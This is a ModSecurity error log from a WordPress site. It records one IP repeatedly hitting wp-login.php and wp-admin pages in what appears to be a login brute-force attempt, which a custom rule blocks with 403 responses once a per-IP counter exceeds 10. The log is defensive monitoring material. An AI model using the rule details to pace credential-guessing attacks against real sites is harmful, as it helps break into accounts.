[Sat Feb 28 01:51:53.842930 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZuQP6I7SRqrhh7RoppwAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:53.843081 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZuQP6I7SRqrhh7RoppwAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:56.431895 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:52024] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZvAP6I7SRqrhh7RoprwAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:57.681369 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:52024] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZvQP6I7SRqrhh7RopsAAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:57.681474 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:52024] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZvQP6I7SRqrhh7RopsAAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:00.186265 2026] [:error] [pid 38620:tid 38639] [client 5.189.134.86:50649] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZwAP6I7SRqrhh7RopvwAAAVE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:01.590033 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:50649] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZwQP6I7SRqrhh7RopygAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:04.383249 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:50649] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZxAP6I7SRqrhh7Rop1wAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:05.779882 2026] [:error] [pid 38620:tid 38637] [client 5.189.134.86:50649] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZxQP6I7SRqrhh7Rop4gAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:05.779993 2026] [:error] [pid 38620:tid 38637] [client 5.189.134.86:50649] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZxQP6I7SRqrhh7Rop4gAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:07.146198 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:63974] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHZxwP6I7SRqrhh7Rop8gAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:08.478520 2026] [:error] [pid 15240:tid 15250] [client 5.189.134.86:63578] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZyC1iKL_41Rk9A9OJigAAAAg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:09.806828 2026] [:error] [pid 15100:tid 15180] [client 5.189.134.86:63578] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHZyUOEbzcINan_ctLO7QAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:11.052837 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:61813] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZywP6I7SRqrhh7RoqBgAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:12.300320 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:61813] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZzAP6I7SRqrhh7RoqEAAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:15.060181 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:61813] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZzwP6I7SRqrhh7RoqGAAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:15.060263 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:61813] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZzwP6I7SRqrhh7RoqGAAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:16.167593 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:55685] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZ0AP6I7SRqrhh7RoqIQAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:18.599892 2026] [:error] [pid 15240:tid 15256] [client 5.189.134.86:64970] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZ0i1iKL_41Rk9A9OJqQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:19.933935 2026] [:error] [pid 15240:tid 15260] [client 5.189.134.86:55848] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ0y1iKL_41Rk9A9OJsAAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:19.934033 2026] [:error] [pid 15240:tid 15260] [client 5.189.134.86:55848] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ0y1iKL_41Rk9A9OJsAAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:22.604001 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:62112] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ1gP6I7SRqrhh7RoqNgAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:23.927771 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:62112] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ1wP6I7SRqrhh7RoqPwAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:23.927849 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:62112] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ1wP6I7SRqrhh7RoqPwAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:26.381093 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:53947] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ2gP6I7SRqrhh7RoqTgAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:27.646093 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:53947] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ2wP6I7SRqrhh7RoqUAAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:30.362129 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:53947] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ3gP6I7SRqrhh7RoqUwAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:31.629188 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:53947] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ3wP6I7SRqrhh7RoqVQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:34.319856 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:53947] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ4gP6I7SRqrhh7RoqbQAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:35.565986 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:53947] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ4wP6I7SRqrhh7RoqbgAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:35.566061 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:53947] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ4wP6I7SRqrhh7RoqbgAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:36.803805 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:61010] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHZ5L_i6nvKNhjFW7VcxAAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:38.069216 2026] [:error] [pid 15100:tid 15169] [client 5.189.134.86:61012] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZ5kOEbzcINan_ctLPDwAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:39.166297 2026] [:error] [pid 15100:tid 15177] [client 5.189.134.86:56641] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHZ50OEbzcINan_ctLPFQAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:40.506272 2026] [:error] [pid 38586:tid 38612] [client 5.189.134.86:64326] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZ6L_i6nvKNhjFW7Vc0QAAARc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:41.839591 2026] [:error] [pid 15100:tid 15183] [client 5.189.134.86:64327] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ6UOEbzcINan_ctLPHAAAAFc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:44.596210 2026] [:error] [pid 15100:tid 15161] [client 5.189.134.86:64327] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ7EOEbzcINan_ctLPIwAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:45.887357 2026] [:error] [pid 15100:tid 15175] [client 5.189.134.86:64327] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ7UOEbzcINan_ctLPKQAAAE8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:48.747717 2026] [:error] [pid 15100:tid 15168] [client 5.189.134.86:64327] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ8EOEbzcINan_ctLPNAAAAEg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:50.073530 2026] [:error] [pid 15100:tid 15179] [client 5.189.134.86:64327] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ8kOEbzcINan_ctLPNgAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:50.073585 2026] [:error] [pid 15100:tid 15179] [client 5.189.134.86:64327] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ8kOEbzcINan_ctLPNgAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:52.725070 2026] [:error] [pid 38620:tid 38637] [client 5.189.134.86:55937] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ9AP6I7SRqrhh7RoqfgAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:54.074565 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:55937] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ9gP6I7SRqrhh7RoqgAAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:56.898509 2026] [:error] [pid 38620:tid 38627] [client 5.189.134.86:55937] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ-AP6I7SRqrhh7RoqiwAAAUU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:58.181196 2026] [:error] [pid 38620:tid 38644] [client 5.189.134.86:55937] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ-gP6I7SRqrhh7RoqjgAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:58.181278 2026] [:error] [pid 38620:tid 38644] [client 5.189.134.86:55937] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZ-gP6I7SRqrhh7RoqjgAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:52:59.446762 2026] [:error] [pid 38586:tid 38601] [client 5.189.134.86:63315] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHZ-7_i6nvKNhjFW7VdFQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:00.737960 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:55030] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZ_AP6I7SRqrhh7RoqnAAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:01.998083 2026] [:error] [pid 38586:tid 38593] [client 5.189.134.86:55030] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHZ_b_i6nvKNhjFW7VdHQAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:03.113871 2026] [:error] [pid 15099:tid 15157] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZ_-nvP2vtPjYDq_g_fQAAANg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:04.222898 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaAAP6I7SRqrhh7RoqnwAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:07.119060 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaAwP6I7SRqrhh7RoqsQAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:08.470166 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaBAP6I7SRqrhh7RoqxAAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:11.225762 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaBwP6I7SRqrhh7Roq7QAAAVU"], referer: https://gigfragments.org/wp-login.php
